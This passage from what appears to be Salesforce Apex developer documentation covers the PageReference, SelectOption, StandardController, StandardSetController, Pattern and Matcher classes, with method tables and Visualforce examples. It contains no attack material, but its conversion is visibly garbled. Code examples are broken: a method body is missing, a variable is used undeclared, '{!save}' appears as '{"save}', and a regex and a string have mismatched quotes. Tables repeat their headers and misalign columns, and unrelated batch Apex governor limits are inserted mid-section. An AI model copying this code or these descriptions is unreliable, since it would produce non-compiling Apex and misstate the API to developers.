<td>Boolean redirect</td>
<td>System.PageReference</td>
<td>Sets the value of the PageReference object’s redirect attribute. If set to true, a redirect is performed through a client side redirect. This type of redirect performs an HTTP GET request, and flushes the view state, which uses POST. If set to false, the redirect is a server-side forward that preserves the view state if and only if the target page uses the same controller and contains the proper subset of extensions used by the source page. Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, or to a page with a different controller or controller extension, the redirect always occurs, regardless of whether the redirect attribute is set to true or false.</td>
</tr>
</tbody>
</table>

Example: Retrieving Query String Parameters

The following example shows how to use a PageReference object to retrieve a query string parameter in the current page URL. In this example, the `getAccount` method references the `id` query string parameter:

```java
public class MyController {
    public Account getAccount() {
        // Use a PageReference object to retrieve the query string parameter.
    }
```
The following page markup calls the `getAccount` method from the controller above:

```xml
<apex:page controller="MyController">
    <apex:pageBlock title="Retrieving Query String Parameters">
        You are viewing the {!account.name} account.
    </apex:pageBlock>
</apex:page>
```

**Note:**
For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if `001D000000IRt53` is the account ID, the resulting URL should be:

https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53

The `getAccount` method uses an embedded SOQL query to return the account specified by the `id` parameter in the URL of the page. To access `id`, the `getAccount` method uses the `ApexPages` namespace:

- First the `currentPage` method returns the `PageReference` instance for the current page. `PageReference` returns a reference to a Visualforce page, including its query string parameters.
- Using the page reference, use the `getParameters` method to return a map of the specified query string parameter names and values.
- Then a call to the `get` method specifying `id` returns the value of the `id` parameter itself.

**Example: Navigating to a New Page as the Result of an Action Method**

Any action method in a custom controller or controller extension can return a `PageReference` object as the result of the method. If the `redirect` attribute on the `PageReference` is set to true, the user navigates to the URL specified by the `PageReference`.

The following example shows how this can be implemented with a `save` method. In this example, the `PageReference` returned by the `save` method redirects the user to the detail page for the account record that was just saved:

```java
public class mySecondController {
    Account account;

    public Account getAccount() {
        if(account == null) account = new Account();
        return account;
    }

    public PageReference save() {
        // Add the account to the database.
        insert account;

        // Send the user to the detail page for the new account.
        acctPage.setRedirect(true);
        return acctPage;
    }
}
```
The following page markup calls the `save` method from the controller above. When a user clicks `Save`, he or she is redirected to the detail page for the account just created:

```xml
<apex:page controller="mySecondController" tabStyle="Account">
    <apex:sectionHeader title="New Account Edit Page" />
    <apex:form>
        <apex:pageBlock title="Create a New Account">
            <apex:pageBlockButtons location="bottom">
                <apex:commandButton action="{"save}" value="Save"/>
            </apex:pageBlockButtons>
            <apex:pageBlockSection title="Account Information">
                <apex:inputField id="accountName" value="{"account.name}"/>
                <apex:inputField id="accountSite" value="{"account.site}"/>
            </apex:pageBlockSection>
        </apex:pageBlock>
    </apex:form>
</apex:page>
```

### SelectOption Class

A SelectOption object specifies one of the possible values for a Visualforce `selectCheckboxes`, `selectList`, or `selectRadio` component. It consists of a label that is displayed to the end user, and a value that is returned to the controller if the option is selected. A SelectOption can also be displayed in a disabled state, so that a user cannot select it as an option, but can still view it.

#### Instantiation

In a custom controller or controller extension, you can instantiate a SelectOption in one of the following ways:

1. `SelectOption option = new SelectOption(value, label, isDisabled);`

   Where `value` is the String that is returned to the controller if the option is selected by a user, `label` is the String that is displayed to the user as the option choice, and `isDisabled` is a Boolean that, if true, specifies that the user cannot select the option, but can still view it.

2. `SelectOption option = new SelectOption(value, label);`

   Where `value` is the String that is returned to the controller if the option is selected by a user, and `label` is the String that is displayed to the user as the option choice. Because a value for `isDisabled` is not specified, the user can both view and select the option.

#### Methods

The SelectOption methods are all called by and operate on a particular instance of SelectOption.

The table below describes the instance methods for SelectOption.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>getDisabled</code></td>
<td><code>value, label, isDisabled</code></td>
<td><code>Boolean</code></td>
<td>Returns the current value of the SelectOption object’s <code>isDisabled</code> attribute. If <code>isDisabled</code> is set to <code>true</code>, the user can view the option, but cannot select it. If <code>isDisabled</code> is set to <code>false</code>, the user can both view and select the option.</td>
</tr>
<tr>
<td><code>getEscapeItem</code></td>
<td><code>value, label</code></td>
<td><code>Boolean</code></td>
<td>Returns the current value of the SelectOption object’s <code>itemEscaped</code> attribute. If <code>itemEscaped</code> is set to <code>true</code>, sensitive HTML and XML characters are escaped</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>-----------------</td>
<td>--------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getLabel</td>
<td>String</td>
<td>String</td>
<td>Returns the option label that is displayed to the user.</td>
</tr>
<tr>
<td>getValue</td>
<td>String</td>
<td>String</td>
<td>Returns the option value that is returned to the controller if a user selects the option.</td>
</tr>
<tr>
<td>setDisabled</td>
<td>Boolean</td>
<td>Void</td>
<td>Sets the value of the SelectOption object's <code>isDisabled</code> attribute. If <code>isDisabled</code> is set to <code>true</code>, the user can view the option, but cannot select it. If <code>isDisabled</code> is set to <code>false</code>, the user can both view and select the option.</td>
</tr>
<tr>
<td>setEscapeItem</td>
<td>Boolean</td>
<td>Void</td>
<td>Sets the value of the SelectOption object's <code>itemEscaped</code> attribute. If <code>itemEscaped</code> is set to <code>true</code>, sensitive HTML and XML characters are escaped in the HTML output generated by this component. If <code>itemEscaped</code> is set to <code>false</code>, items are rendered as written.</td>
</tr>
<tr>
<td>setLabel</td>
<td>String</td>
<td>Void</td>
<td>Sets the value of the option label that is displayed to the user.</td>
</tr>
<tr>
<td>setValue</td>
<td>String</td>
<td>Void</td>
<td>Sets the value of the option value that is returned to the controller if a user selects the option.</td>
</tr>
</tbody>
</table>

**Example**

The following example shows how a list of SelectOptions objects can be used to provide possible values for a `selectCheckboxes` component on a Visualforce page. In the following custom controller, the `getItems` method defines and returns the list of possible SelectOption objects:

```java
public class sampleCon {
    String[] countries = new String[]{};

    public PageReference test() {
        return null;
    }

    public List<SelectOption> getItems() {
        List<SelectOption> options = new List<SelectOption>();
        options.add(new SelectOption('US','US'));
        options.add(new SelectOption('CANADA','Canada'));
        options.add(new SelectOption('MEXICO','Mexico'));
        return options;
    }

    public String[] get Countries() {
        return countries;
    }

    public void setCountries(String[] countries) {
        this.countries = countries;
    }
}
```
In the following page markup, the `<apex:selectOptions>` tag uses the `getItems` method from the controller above to retrieve the list of possible values. Because `<apex:selectOptions>` is a child of the `<apex:selectCheckboxes>` tag, the options are displayed as checkboxes:

```xml
<apex:page controller="sampleCon">
    <apex:form>
        <apex:selectCheckboxes value="{!countries}"/>
        <apex:selectOptions value="{!items}"/>
        <apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>
    </apex:form>
    <apex:outputPanel id="out">
        <apex:actionstatus id="status" startText="testing...">
            <apex:facet name="stop">
                <p>You have selected:</p>
                <apex:datalist value="{!countries}" var="c">{!c}</apex:datalist>
            </apex:facet>
        </apex:actionstatus>
    </apex:outputPanel>
</apex:form>
</apex:page>
```

StandardController Class

StandardController objects reference the pre-built Visualforce controllers provided by salesforce.com. The only time it is necessary to refer to a StandardController object is when defining an extension for a standard controller. StandardController is the data type of the single argument in the extension class constructor.

Instantiation

You can instantiate a StandardController in the following way:

```java
ApexPages.StandardController sc = new ApexPages.StandardController(sObject);
```

Methods

StandardController methods are all called by and operate on a particular instance of a StandardController.

The table below describes the instance methods for StandardController.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>addFields</td>
<td>List&lt;String&gt; fieldNames</td>
<td>Void</td>
<td>When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup. This method adds a reference to each field specified in <code>fieldNames</code> so that the controller can explicitly access those fields as well. This method should be called before a record has been loaded—typically, it's called by the controller's constructor. If this method is called outside of the constructor, you must use the <code>reset()</code> method before calling <code>addFields()</code>. The strings in <code>fieldNames</code> can either be the API name of a field, such as AccountId, or they can be explicit relationships to fields, such as foo__r.myField__c.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>----------</td>
<td>-------------------</td>
<td>------------------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>cancel</td>
<td>System.PageReference</td>
<td>System.PageReference</td>
<td>This method is only for controllers used by dynamic Visualforce bindings. Returns the PageReference of the cancel page.</td>
</tr>
<tr>
<td>getId</td>
<td>String</td>
<td>String</td>
<td>Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL.</td>
</tr>
<tr>
<td>getRecord</td>
<td>SObject</td>
<td>SObject</td>
<td>Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other fields, including fields from any related objects, must be queried using a SOQL expression.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Tip: You can work around this restriction by including a hidden component that references any additional fields that you want to query. Hide the component from display by setting the component’s rendered attribute to false. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>&lt;apex:outputText value=&quot;{!account.billingcity} {!account.contacts}&quot; rendered=false/&gt;</code></td>
</tr>
<tr>
<td>reset</td>
<td>Void</td>
<td>Void</td>
<td>For this method is only called outside the constructor, and it must be called directly before addFields. For this method is only for controllers used by dynamic Visualforce bindings. Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are discarded.</td>
</tr>
</tbody>
</table>
Example
The following example shows how a StandardController object can be used in the constructor for a standard controller extension:

```java
public class myControllerExtension {
    private final Account acct;
    // The extension constructor initializes the private member
    // variable acct by using the getRecord method from the standard
    // controller.
    public myControllerExtension(ApexPages.StandardController stdController) {
        this.acct = (Account) stdController.getRecord();
    }

    public String getGreeting() {
        return 'Hello ' + acct.name + ' (' + acct.id + ')';
    }
}
```

The following Visualforce markup shows how the controller extension from above can be used in a page:

```xml
<apex:page standardController="Account" extensions="myControllerExtension">
    {!greeting} <p/>
    <apex:form>
        <apex:inputField value="{!account.name}"/>
        <apex:commandButton value="Save" action="{!save}"/>
    </apex:form>
</apex:page>
```

StandardSetController Class
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list controllers provided by Salesforce. The StandardSetController class also contains a prototype object. This is a single sObject contained within the Visualforce StandardSetController class. If the prototype object's fields are set, those values are used during the save action, meaning that the values are applied to every record in the set controller's collection. This is useful for writing pages that perform mass updates (applying identical changes to fields within a collection of objects).

Note: Fields that are required in other Salesforce objects will keep the same requiredness when used by the prototype object.

Keep in mind the following governor limits for batch Apex:

- Up to five queued or active batch jobs are allowed for Apex.
- A user can have up to five query cursors open at a time. For example, if five cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of the five cursors is released.
  
  Cursor limits for different Force.com features are tracked separately. For example, you can have five Apex query cursors, five batch cursors, and five Visualforce cursors open at the same time.

- A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records are returned, the batch job is immediately terminated and marked as Failed.

- If no size is specified with the optional scope parameter, Salesforce chunks the records returned by the QueryLocator into batches of 200, and then passes each batch to the execute method. Apex governor limits are reset for each execution of execute.

- The start, execute and finish methods can implement only one callout in each method.
**Instantiation**

You can instantiate a StandardSetController in either of the following ways:

- From a list of sObjects:

```java
List<account> accountList = [SELECT name FROM Account LIMIT 20];
ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(accountList);
```

- From a query locator:

```java
ApexPages.StandardSetController ssc =
new ApexPages.StandardSetController(Database.getQueryLocator([SELECT name,closedate FROM Opportunity]));
```

**Methods**

StandardSetController methods are all called by and operate on a particular instance of a StandardSetController. The table below describes the instance methods for StandardSetController.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>cancel</td>
<td>System.PageReference</td>
<td></td>
<td>Returns the PageReference of the original page, if known, or the home page.</td>
</tr>
<tr>
<td>first</td>
<td>Void</td>
<td></td>
<td>Returns the first page of records.</td>
</tr>
<tr>
<td>getCompleteResult</td>
<td>Boolean</td>
<td></td>
<td>Indicates whether there are more records in the set than the maximum record limit.</td>
</tr>
<tr>
<td>getFilterId</td>
<td>String</td>
<td></td>
<td>Returns the ID of the filter that is currently in context.</td>
</tr>
<tr>
<td>getHasNext</td>
<td>Boolean</td>
<td></td>
<td>Indicates whether there are more records after the current page set.</td>
</tr>
<tr>
<td>getHasPrevious</td>
<td>Boolean</td>
<td></td>
<td>Indicates whether there are more records before the current page set.</td>
</tr>
<tr>
<td>getListViewOptions</td>
<td>System.SelectOption[]</td>
<td></td>
<td>Returns a list of the listviews available to the current user.</td>
</tr>
<tr>
<td>getPageNumber</td>
<td>Integer</td>
<td></td>
<td>Returns the page number of the current page set. Note that the first page returns 1.</td>
</tr>
<tr>
<td>getPageSize</td>
<td>Integer</td>
<td></td>
<td>Returns the number of records included in each page set.</td>
</tr>
<tr>
<td>getRecord</td>
<td>sObject</td>
<td></td>
<td>Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the class, and is used for performing mass updates.</td>
</tr>
<tr>
<td>getRecords</td>
<td>sObject[]</td>
<td></td>
<td>Returns the list of sObjects in the current page set. This list is immutable, i.e. you can’t call clear() on it.</td>
</tr>
<tr>
<td>getResultSize</td>
<td>Integer</td>
<td></td>
<td>Returns the number of records in the set.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>--------------------</td>
<td>---------------</td>
<td>------------------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getSelected</td>
<td>sObject[]</td>
<td></td>
<td>Returns the list of sObjects that have been selected.</td>
</tr>
<tr>
<td>last</td>
<td>Void</td>
<td></td>
<td>Returns the last page of records.</td>
</tr>
<tr>
<td>next</td>
<td>Void</td>
<td></td>
<td>Returns the next page of records.</td>
</tr>
<tr>
<td>previous</td>
<td>Void</td>
<td></td>
<td>Returns the previous page of records.</td>
</tr>
<tr>
<td>save</td>
<td>System.PageReference</td>
<td></td>
<td>Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to the original page, if known, or the home page.</td>
</tr>
<tr>
<td>setFilterID</td>
<td>String filterId</td>
<td>Void</td>
<td>Sets the filter ID of the controller.</td>
</tr>
<tr>
<td>setPageNumber</td>
<td>Integer pageNumber</td>
<td>Void</td>
<td>Sets the page number.</td>
</tr>
<tr>
<td>setPageSize</td>
<td>Integer pageSize</td>
<td>Void</td>
<td>Sets the number of records in each page set.</td>
</tr>
<tr>
<td>setSelected</td>
<td>sObjects[]</td>
<td>Void</td>
<td>Set the selected records.</td>
</tr>
</tbody>
</table>

**Example**

The following example shows how a StandardSetController object can be used in the constructor for a custom list controller:

```java
public class opportunityList2Con {
    // ApexPages.StandardSetController must be instantiated
    // for standard list controllers
    public ApexPages.StandardSetController setCon {
        get {
            if (setCon == null) {
                setCon = new ApexPages.StandardSetController(Database.getQueryLocator(
                    [select name, closedate from Opportunity]));
            }
            return setCon;
        }
        set;
    }

    // Initialize setCon and return a list of records
    public List<Opportunity> getOpportunities() {
        return (List<Opportunity>) setCon.getRecords();
    }
}
```

The following Visualforce markup shows how the controller above can be used in a page:

```xml
<apex:page controller="opportunityList2Con">
    <apex:pageBlock>
        <apex:pageBlockTable value="{!opportunities}" var="o">
            <apex:column value="{!o.name}"/>
            <apex:column value="{!o.closedate}"/>
        </apex:pageBlockTable>
    </apex:pageBlock>
</apex:page>
```
Pattern and Matcher Classes

A regular expression is a string that is used to match another string, using a specific syntax. Apex supports the use of regular expressions through its Pattern and Matcher classes.

Note: In Apex, Patterns and Matchers, as well as regular expressions, are based on their counterparts in Java. See http://java.sun.com/j2se/1.5.0/docs/api/index.html?java/util/regex/Pattern.html.

Using Patterns and Matchers

A Pattern is a compiled representation of a regular expression. Patterns are used by Matchers to perform match operations on a character string. Many Matcher objects can share the same Pattern object, as shown in the following illustration:

Figure 13: Many Matcher objects can be created from the same Pattern object

Regular expressions in Apex follow the standard syntax for regular expressions used in Java. Any Java-based regular expression strings can be easily imported into your Apex code.

Note: Salesforce limits the number of times an input sequence for a regular expression can be accessed to 1,000,000 times. If you reach that limit, you receive a runtime error.

All regular expressions are specified as strings. Most regular expressions are first compiled into a Pattern object; only the String split method takes a regular expression that isn’t compiled.

Generally, after you compile a regular expression into a Pattern object, you only use the Pattern object once to create a Matcher object. All further actions are then performed using the Matcher object. For example:

```java
// First, instantiate a new Pattern object "MyPattern"
Pattern MyPattern = Pattern.compile("a*b");

// Then instantiate a new Matcher object "MyMatcher"
Matcher MyMatcher = MyPattern.matcher("aaaaab");

// You can use the system static method assert to verify the match
System.assert(MyMatcher.matches());
```
If you are only going to use a regular expression once, use the `Pattern` class `matches` method to compile the expression and match a string against it in a single invocation. For example, the following is equivalent to the code above:

```java
Boolean Test = Pattern.matches('a*b', 'aaaaab');
```

### Using Regions

A Matcher object finds matches in a subset of its input string called a region. The default region for a Matcher object is always the entirety of the input string. However, you can change the start and end points of a region by using the `region` method, and you can query the region’s end points by using the `regionStart` and `regionEnd` methods.

The `region` method requires both a start and an end value. The following table provides examples of how to set one value without setting the other.

<table>
<thead>
<tr>
<th>Start of the Region</th>
<th>End of the Region</th>
<th>Code Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Specify explicitly</td>
<td>Leave unchanged</td>
<td><code>MyMatcher.region(start, MyMatcher.regionEnd());</code></td>
</tr>
<tr>
<td>Leave unchanged</td>
<td>Specify explicitly</td>
<td><code>MyMatcher.region(MyMatcher.regionStart(), end);</code></td>
</tr>
<tr>
<td>Reset to the default</td>
<td>Specify explicitly</td>
<td><code>MyMatcher.region(0, end);</code></td>
</tr>
</tbody>
</table>

### Using Match Operations

A Matcher object performs match operations on a character sequence by interpreting a Pattern.

A Matcher object is instantiated from a Pattern by the Pattern's `matcher` method. Once created, a Matcher object can be used to perform the following types of match operations:

- Match the Matcher object’s entire input string against the pattern using the `matches` method
- Match the Matcher object’s input string against the pattern, starting at the beginning but without matching the entire region, using the `lookingAt` method
- Scan the Matcher object’s input string for the next substring that matches the pattern using the `find` method

Each of these methods returns a Boolean indicating success or failure.

After you use any of these methods, you can find out more information about the previous match, that is, what was found, by using the following Matcher class methods:

- `end`: Once a match is made, this method returns the position in the match string after the last character that was matched.
- `start`: Once a match is made, this method returns the position in the string of the first character that was matched.
- `group`: Once a match is made, this method returns the subsequence that was matched.

### Using Bounds

By default, a region is delimited by anchoring bounds, which means that the line anchors (such as `^` or `$`) match at the region boundaries, even if the region boundaries have been moved from the start and end of the input string. You can specify whether a region uses anchoring bounds with the `useAnchoringBounds` method. By default, a region always uses anchoring bounds.

If you set `useAnchoringBounds` to `false`, the line anchors match only the true ends of the input string.

By default, all text located outside of a region is not searched, that is, the region has opaque bounds. However, using transparent bounds it is possible to search the text outside of a region. Transparent bounds are only used when a region no longer contains the entire input string. You can specify which type of bounds a region has by using the `useTransparentBounds` method.
Suppose you were searching the following string, and your region was only the word “STRING”:

This is a concatenated STRING of cats and dogs.

If you searched for the word “cat”, you wouldn’t receive a match unless you had transparent bounds set.

**Understanding Capturing Groups**

During a matching operation, each substring of the input string that matches the pattern is saved. These matching substrings are called *capturing groups*.

Capturing groups are numbered by counting their opening parentheses from left to right. For example, in the regular expression string `((A)(B(C)))`, there are four capturing groups:

1. `((A)(B(C)))`
2. `(A)`
3. `(B(C))`
4. `(C)`

Group zero always stands for the entire expression.

The captured input associated with a group is always the substring of the group most recently matched, that is, that was returned by one of the Matcher class match operations.

If a group is evaluated a second time using one of the match operations, its previously captured value, if any, is retained if the second evaluation fails.

**Pattern and Matcher Example**

The Matcher class `end` method returns the position in the match string after the last character that was matched. You would use this when you are parsing a string and want to do additional work with it after you have found a match, such as find the next match.

In regular expression syntax, `?` means match once or not at all, and `+` means match 1 or more times.

In the following example, the string passed in with the Matcher object matches the pattern since `(a(b)?)` matches the string 'ab' - 'a' followed by 'b' once. It then matches the last 'a' - 'a' followed by 'b' not at all.

```java
pattern myPattern = pattern.compile('(a(b)?)+');
matcher myMatcher = myPattern.matcher('aba');
System.assert(myMatcher.matches() && myMatcher.hitEnd());

// We have two groups: group 0 is always the whole pattern, and group 1 contains
// the substring that most recently matched--in this case, 'a'.
// So the following is true:
System.assert(myMatcher.groupCount() == 2 &&
              myMatcher.group(0) == 'aba' &&
              myMatcher.group(1) == 'a');

// Since group 0 refers to the whole pattern, the following is true:
System.assert(myMatcher.end() == myMatcher.end(0));

// Since the offset after the last character matched is returned by end,
// and since both groups used the last input letter, that offset is 3
// Remember the offset starts its count at 0. So the following is also true:
System.assert(myMatcher.end() == 3 &&
              myMatcher.end(0) == 3 &&
              myMatcher.end(1) == 3);```
In the following example, email addresses are normalized and duplicates are reported if there is a different top-level domain name or subdomain for similar email addresses. For example, john@fairway.smithco is normalized to john@smithco.

```java
class normalizeEmailAddresses{
    public void hasDuplicatesByDomain(Lead[] leads) {
        // This pattern reduces the email address to 'john@smithco'
        // from 'john@*.smithco.com' or 'john@smithco.*'
        Pattern emailPattern = Pattern.compile("(?<=@)((?![\w]+\.[\w]+$)\[\w]+\.)|\.[\w]+$)
        // Define a set for emailkey to lead:
        Map<String, Lead> leadMap = new Map<String, Lead>();
        for (Lead lead : leads) {
            // Ignore leads with a null email
            if (lead.email != null) {
                // Generate the key using the regular expression
                String emailKey = emailPattern.matcher(lead.email).replaceAll('');
                // Look for duplicates in the batch
                if (leadMap.containsKey(emailKey))
                    lead.email.addError("Duplicate found in batch");
                else {
                    // Keep the key in the duplicate key custom field
                    lead.Duplicate_Key__c = emailKey;
                    leadMap.put(emailKey, lead);
                }
            }
        }
        // Now search the database looking for duplicates
        for (Lead[] leadsCheck : [select Id, duplicate_key__c from Lead where duplicate_key__c IN :leadMap.keySet()]) {
            for (Lead lead : leadsCheck) {
                // If there's a duplicate, add the error.
                if (leadMap.containsKey(lead.Duplicate_Key__c))
                    leadMap.get(lead.Duplicate_Key__c).email.addError("Duplicate found in salesforce(id: ' + lead.Id + '");
            }
        }
    }
}
```

**Pattern Methods**

The following are the system static methods for Pattern.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Descriptions</th>
</tr>
</thead>
<tbody>
<tr>
<td>compile</td>
<td>String regExp</td>
<td>Pattern object</td>
<td>Compiles the regular expression into a Pattern object.</td>
</tr>
<tr>
<td>matches</td>
<td>String regExp, String s</td>
<td>Boolean</td>
<td>Compiles the regular expression regExp and tries to match it against s. This method returns true if the string s matches the regular expression, false otherwise. If a pattern is to be used multiple times, compiling it once and reusing it is more...</td>
</tr>
</tbody>
</table>
Efficient than invoking this method each time.

Note that the following code example:

```java
Pattern.matches(regExp, input);
```

produces the same result as this code example:

```java
Pattern.compile(regex).matcher(input).matches();
```

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>quote</td>
<td>String s</td>
<td>String</td>
<td>Returns a string that can be used to create a pattern that matches the string s as if it were a literal pattern. Metacharacters (such as $ or ^) and escape sequences in the input string are treated as literal characters with no special meaning.</td>
</tr>
</tbody>
</table>

The following are the instance methods for Pattern.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>matcher</td>
<td>String regExp</td>
<td>Matcher object</td>
<td>Creates a Matcher object that matches the input string regExp against this Pattern object.</td>
</tr>
<tr>
<td>pattern</td>
<td></td>
<td>String</td>
<td>Returns the regular expression from which this Pattern object was compiled.</td>
</tr>
<tr>
<td>split</td>
<td>String s</td>
<td>String[]</td>
<td>Returns a list that contains each substring of the String that matches this pattern. The substrings are placed in the list in the order in which they occur in the String. If s does not match the pattern, the resulting list has just one element containing the original String.</td>
</tr>
<tr>
<td>split</td>
<td>String regExp, Integer limit</td>
<td>String[]</td>
<td>Returns a list that contains each substring of the String that is terminated either by the regular expression regExp that matches this pattern, or by the end of the String. The optional limit parameter controls the number of times the pattern is applied and therefore affects the length of the list:</td>
</tr>
</tbody>
</table>
• If `limit` is greater than zero, the pattern is applied at most `limit - 1` times, the list's length is no greater than `limit`, and the list's last entry contains all input beyond the last matched delimiter.
• If `limit` is non-positive then the pattern is applied as many times as possible and the list can have any length.
• If `limit` is zero then the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are discarded.

**Matcher Methods**

The following are the system static methods for Matcher.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>quoteReplacement</td>
<td>String s</td>
<td>String</td>
<td>Returns a literal replacement string for the specified string <code>s</code>. The characters in the returned string match the sequence of characters in <code>s</code>. Metacharacters (such as $ or ^) and escape sequences in the input string are treated as literal characters with no special meaning.</td>
</tr>
</tbody>
</table>

The following are the instance methods for Matcher.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>end</td>
<td></td>
<td>Integer</td>
<td>Returns the position after the last matched character.</td>
</tr>
<tr>
<td>end</td>
<td>Integer <code>groupIndex</code></td>
<td>Integer</td>
<td>Returns the position after the last character of the subsequence captured by the group <code>groupIndex</code> during the previous match operation. If the match was successful but the group itself did not match anything, this method returns -1. Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression <code>m.end(0)</code> is equivalent to <code>m.end()</code>. See Understanding Capturing Groups on page 370.</td>
</tr>
<tr>
<td>find</td>
<td></td>
<td>Boolean</td>
<td>Attempts to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Returns</td>
<td>Description</td>
</tr>
<tr>
<td>------</td>
<td>-------------------</td>
<td>---------</td>
<td>-------------</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>of the input sequence matches this Matcher object’s pattern.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>This method starts at the beginning of this Matcher object’s region, or, if a previous invocation of the method was successful and the Matcher object has not since been reset, at the first character not matched by the previous match.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>If the match succeeds, more information can be obtained using the start, end, and group methods.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>For more information, see Using Regions on page 369.</td>
</tr>
<tr>
<td>find</td>
<td>Integer group</td>
<td>Boolean</td>
<td>Resets the Matcher object and then tries to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence of the input sequence matches this Matcher object’s pattern.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>If the match succeeds, more information can be obtained using the start, end, and group methods.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Returns the input subsequence returned by the previous match.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Note that some groups, such as (a*), match the empty string. This method returns the empty string when such a group successfully matches the empty string in the input.</td>
</tr>
<tr>
<td>group</td>
<td>String</td>
<td></td>
<td>Returns the input subsequence captured by the specified group groupIndex during the previous match operation. If the match was successful but the specified group failed to match any part of the input sequence, null is returned.</td>
</tr>
<tr>
<td></td>
<td>Integer groupIndex</td>
<td>String</td>
<td>Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.group(0) is equivalent to m.group().</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Note that some groups, such as (a*), match the empty string. This method returns the empty string when such a group successfully matches the empty string in the input.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>See Understanding Capturing Groups on page 370.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Returns</td>
<td>Description</td>
</tr>
<tr>
<td>-----------------------</td>
<td>-----------</td>
<td>---------</td>
<td>--------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>groupCount</td>
<td>Integer</td>
<td></td>
<td>Returns the number of capturing groups in this Matching object's pattern. Group zero denotes the entire pattern and is not included in this count.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>See Understanding Capturing Groups on page 370.</td>
</tr>
<tr>
<td>hasAnchoringBounds</td>
<td>Boolean</td>
<td></td>
<td>Returns true if the Matcher object has anchoring bounds, false otherwise. By default, a Matcher object uses anchoring bounds regions.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>If a Matcher object uses anchoring bounds, the boundaries of this Matcher object's region match start and end of line anchors such as <code>^</code> and <code>$</code>.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>For more information, see Using Bounds on page 369.</td>
</tr>
<tr>
<td>hasTransparentBounds</td>
<td>Boolean</td>
<td></td>
<td>Returns true if the Matcher object has transparent bounds, false if it uses opaque bounds. By default, a Matcher object uses opaque region boundaries.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>For more information, see Using Bounds on page 369.</td>
</tr>
<tr>
<td>hitEnd</td>
<td>Boolean</td>
<td></td>
<td>Returns true if the end of input was found by the search engine in the last match operation performed by this Matcher object.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>When this method returns true, it is possible that more input would have changed the result of the last search.</td>
</tr>
<tr>
<td>lookingAt</td>
<td>Boolean</td>
<td></td>
<td>Attempts to match the input sequence, starting at the beginning of the region, against the pattern.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
